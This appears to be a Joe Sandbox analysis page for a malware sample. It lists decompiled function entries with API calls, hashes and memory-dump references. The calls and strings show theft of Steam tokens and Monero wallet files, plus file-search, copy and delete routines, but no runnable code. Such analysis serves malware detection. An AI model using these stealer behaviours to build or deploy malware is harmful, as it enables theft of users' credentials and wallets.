Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 4013aba2de35fe2b99fb3a7868fc05cf7cd6b581eb22b84e5ed2b812c5b925e4
Instruction ID: 21793698b299b88b98c72ca5bc976fd983c7b61b94818d5484f8a253333e746a
Opcode Fuzzy Hash: 4013aba2de35fe2b99fb3a7868fc05cf7cd6b581eb22b84e5ed2b812c5b925e4
Instruction Fuzzy Hash: 84F01D7295010866CB18F7B0EC5B9ED7BBCAF54300F4451B8B49672092EF386749D7A2

Function 00E37ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00E40E2C), ref: 00E37F00
wsprintfA.USER32 ref: 00E37F16

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 1563aed36f1b5e23e286d772fbc5975fd2f9bdb637fcfaebb1781ce8c883fd80
Instruction ID: 285a2988ce54edb989a2242c0fd6e74d6f4d51984251f4b136170b908c9949c8
Opcode Fuzzy Hash: 1563aed36f1b5e23e286d772fbc5975fd2f9bdb637fcfaebb1781ce8c883fd80
Instruction Fuzzy Hash: 32F096B1A04208EBC710DF84EC45FAAFBBCF748714F000669F515A3280D7795944CBD1

Function 00E2B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

lstrlen.KERNEL32(00000000), ref: 00E2B9C2
lstrlen.KERNEL32(00000000), ref: 00E2B9D6

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: af9ea5985bf7008024c8f8117b0b9735c33271ec1111b27559ba000f50d80418
Instruction ID: aa05659f0e295074281730458202bb679995fe286f87bca5abc8f32561d20656
Opcode Fuzzy Hash: af9ea5985bf7008024c8f8117b0b9735c33271ec1111b27559ba000f50d80418
Instruction Fuzzy Hash: B7E10372910118ABDB18FBA0DC9AEEE77B8BF54300F445179F14677091EF346A89CB61

Function 00E2AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

lstrlen.KERNEL32(00000000), ref: 00E2B16A
lstrlen.KERNEL32(00000000), ref: 00E2B17E

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: abfcb19aaccefe89696e4e4a262a4315489d65a8bf727e2f76df3308228b633f
Instruction ID: 37d3968234a12ebb9e32b621edbf79fa265cd25071041bdfa214e118bb8172e1
Opcode Fuzzy Hash: abfcb19aaccefe89696e4e4a262a4315489d65a8bf727e2f76df3308228b633f
Instruction Fuzzy Hash: 87914472910118ABCB18FBA0DC99EEE77B8AF54300F445179F547B7091EF346A89CB62

Function 00E2B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

lstrlen.KERNEL32(00000000), ref: 00E2B42E
lstrlen.KERNEL32(00000000), ref: 00E2B442

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: b84ef24c648af9d82fe8e01d45eeee5c23a09d66322b233a59b6440ddb3c223a
Instruction ID: 9f44ad0000a944239919e4d42f7050d85c21a8ee9f0c3d6622aa1c786bb10870
Opcode Fuzzy Hash: b84ef24c648af9d82fe8e01d45eeee5c23a09d66322b233a59b6440ddb3c223a
Instruction Fuzzy Hash: 5E713572910118ABCB18FBA0DC9ADEE77B8BF54300F445578F582B7191EF346A49CB62

Function 00E34BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E38DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E38E0B

lstrcat.KERNEL32(?,00000000), ref: 00E34BEA
lstrcat.KERNEL32(?,0180E370), ref: 00E34C08

Part of subcall function 00E34910: wsprintfA.USER32 ref: 00E3492C
Part of subcall function 00E34910: FindFirstFileA.KERNEL32(?,?), ref: 00E34943

Part of subcall function 00E34910: StrCmpCA.SHLWAPI(?,00E40FDC), ref: 00E34971
Part of subcall function 00E34910: StrCmpCA.SHLWAPI(?,00E40FE0), ref: 00E34987
Part of subcall function 00E34910: FindNextFileA.KERNEL32(000000FF,?), ref: 00E34B7D
Part of subcall function 00E34910: FindClose.KERNEL32(000000FF), ref: 00E34B92

Part of subcall function 00E34910: wsprintfA.USER32 ref: 00E349B0
Part of subcall function 00E34910: StrCmpCA.SHLWAPI(?,00E408D2), ref: 00E349C5
Part of subcall function 00E34910: wsprintfA.USER32 ref: 00E349E2
Part of subcall function 00E34910: PathMatchSpecA.SHLWAPI(?,?), ref: 00E34A1E
Part of subcall function 00E34910: lstrcat.KERNEL32(?,0180FA50), ref: 00E34A4A
Part of subcall function 00E34910: lstrcat.KERNEL32(?,00E40FF8), ref: 00E34A5C
Part of subcall function 00E34910: lstrcat.KERNEL32(?,?), ref: 00E34A70
Part of subcall function 00E34910: lstrcat.KERNEL32(?,00E40FFC), ref: 00E34A82
Part of subcall function 00E34910: lstrcat.KERNEL32(?,?), ref: 00E34A96
Part of subcall function 00E34910: CopyFileA.KERNEL32(?,?,00000001), ref: 00E34AAC
Part of subcall function 00E34910: DeleteFileA.KERNEL32(?), ref: 00E34B31

Part of subcall function 00E34910: wsprintfA.USER32 ref: 00E34A07

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: d01f1ddd31b2b09b7ba422775c844bfeee1ab8220405f53294f912c6e17ea3df
Instruction ID: 66cb91b0a7a00a036c6ffd93e4b56df46ed90f696e6d4ace2a98eb84afb6e316
Opcode Fuzzy Hash: d01f1ddd31b2b09b7ba422775c844bfeee1ab8220405f53294f912c6e17ea3df
Instruction Fuzzy Hash: 3A4187B7600214ABC764F760FC46EEE377DAB98700F008558F68977185ED7A5B888BE1

Function 00E26660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00E26706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00E26753

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9819b14a3f532038f56ca2d6234da95548d22e26685b250a5075a7c99ee1a9e9
Instruction ID: 4164e4c876b6de0b366a39be1c3cec3bb85703756ca7d12f8ec7bb56bad800b0
Opcode Fuzzy Hash: 9819b14a3f532038f56ca2d6234da95548d22e26685b250a5075a7c99ee1a9e9
Instruction Fuzzy Hash: B241ED74A00219EFCB44CF58D494BADBBB1FF44314F2492A9E959AB355C731EA81CF84

Function 00E35050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E38DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E38E0B

lstrcat.KERNEL32(?,00000000), ref: 00E3508A
lstrcat.KERNEL32(?,0180F220), ref: 00E350A8

Part of subcall function 00E34910: wsprintfA.USER32 ref: 00E3492C
Part of subcall function 00E34910: FindFirstFileA.KERNEL32(?,?), ref: 00E34943

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
